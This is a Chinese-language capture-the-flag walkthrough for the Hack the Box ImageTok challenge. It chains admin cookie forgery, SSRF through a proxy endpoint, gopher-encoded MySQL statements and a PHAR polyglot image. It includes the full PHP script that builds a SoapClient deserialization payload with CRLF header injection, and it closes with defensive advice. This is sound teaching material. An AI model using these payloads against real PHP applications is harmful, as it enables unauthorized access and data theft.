Hack the box-ImageTok攻克思路
字数 1869 2025-08-12 11:33:56
Hack the Box - ImageTok 靶机攻克详细教程
靶机概述
ImageTok 是一个 Hack the Box 平台上的挑战靶机,主要考察文件上传漏洞、Cookie伪造、SSRF攻击和MySQL注入等技术。攻克该靶机需要综合运用多种Web安全技术。
信息收集阶段
1. 初始访问
- 访问网站后发现只有一个文件上传功能
- 上传任意图片后抓包分析响应
2. Cookie分析
- 响应包中包含两个Cookie,前半部分一致
- Cookie特征:
- 包含"==",这是Base64编码的特征
- 解码后发现包含文件上传后的图片名称和用户名
- 格式:
base64编码的JSON数据.随机字符串
3. 权限提升尝试
- 将Cookie中的用户名改为"admin"并重新编码
- 替换Cookie后成功获取admin权限,但页面功能无变化
4. 代码分析
通过访问不同端点获取信息:
/info
- 显示phpinfo信息
- 获取关键信息:
- 数据库主机
- 用户名
- 数据库名
/proxy
- 可能存在SSRF漏洞
- 使用条件:
- session中username=admin
- 远程服务器127.0.0.1
- Post请求的url参数不为空
- Host在['uploads.imagetok.htb', 'admin.imagetok.htb']中
- Port在['80', '8080', '443']中
CustomSessionHandler.php分析
- Cookie处理规则:
- 以"."分割
- 取前部分进行base64解码获取username
- 可用于判断session中username=admin
UserModel.php分析
- updateFiles函数:
- 从session获取username
- 查询该用户名对应的文件名
- 将文件名插入session的files中
- 攻击思路:
- 伪造username为admin
- 插入数据:file_name=flag、username=admin
- 访问主页获取session
- 解码session中的file值即为flag
/upload
- 文件名随机生成
- 只允许上传png文件
漏洞利用步骤
1. MySQL语句构造
目标:插入flag到file_name字段
-- 查询flag
SELECT flag FROM db_fjqaG.definitely_not_a_flag;
-- 插入flag到files表
INSERT INTO db_XhnWU.files(file_name, checksum, username)
VALUES((SELECT flag FROM db_XhnWU.definitely_not_a_flag),'abc','admin');
2. Gopher协议构造
使用工具:gopherus (https://github.com/tarunkant/Gopherus)
格式:gopher:///127.0.0.1:3306/_字符串
3. Admin Session伪造步骤
- 文件上传抓包获取响应包中的session
- 将响应包session替换请求包session再次发包
- 重复上述步骤
- 最终获得的session以"."分割:
- 前部分base64解码为包含username的json
- 修改username为admin
- 重新base64编码
- 与后部分组合成新的session
4. 图片生成脚本绕过检测
利用PHAR (PHP ARchive)特性:
- 文件必须以
__HALT_COMPILER();?>结尾 - 可构造图片文件绕过上传限制
PHP配置要求:
extension=soap
Phar.readonly = Off
生成payload的PHP脚本:
<?php
class ImageModel {
public $file;
public function __construct($file){
$gopher = "gopher:///127.0.0.1:3306/_xxxxx";
$this->file=new SoapClient(null,array(
"location"=>"http://127.0.0.1:80/proxy",
"uri"=>"http://127.0.0.1:80/proxy",
"user_agent"=>"clrf-inject\r\n\r\n\r\n\r\n".
"POST /proxy HTTP/1.1\r\n".
"HOST: admin.imagetok.htb\r\n".
"Connection: close\r\n".
"Cookie: PHPSESSID=admin_session\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length:".strlen($gopher)."\r\n\r\n".$gopher."\r\n\r\n\r\n"
));
}
}
@unlink("payload.phar");
$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->addFile('ssrf.png','ssrf.png');
$phar->setStub(file_get_contents('ssrf.png').'__HALT_COMPILER(');
$phar->setMetadata(new ImageModel('none'));
$phar->stopBuffering();
rename('payload.phar', 'payload.png');
?>
获取Flag完整流程
-
上传payload.png获取图片地址
- 例如:http://206.189.25.173:32763/image/d3706.png
-
访问phar图片触发漏洞
- 格式:
phar://payload.png - 成功插入flag到file表
- 格式:
-
访问主页并抓包
- 修改请求包session为构造的admin session
- 获取响应中的session
-
解码session获取flag
- 以"."分割session
- 前部分base64解码
- 获取file中的值即为flag
关键技术总结
-
Cookie伪造:通过分析Cookie结构和编码方式,构造admin权限的session
-
SSRF利用:通过/proxy端点实现服务端请求伪造,结合gopher协议攻击MySQL
-
PHAR文件利用:构造特殊图片文件绕过上传限制,触发漏洞
-
MySQL注入:通过SSRF发送精心构造的MySQL语句,将flag插入可访问的位置
-
Session解码:通过分析session结构,从编码数据中提取flag信息
防御建议
- 对Cookie进行签名验证,防止伪造
- 限制/proxy端点的访问权限和可请求的目标
- 严格过滤文件上传内容,不仅仅是文件扩展名
- 数据库使用最小权限原则,避免使用高权限账户
- 对敏感操作进行二次验证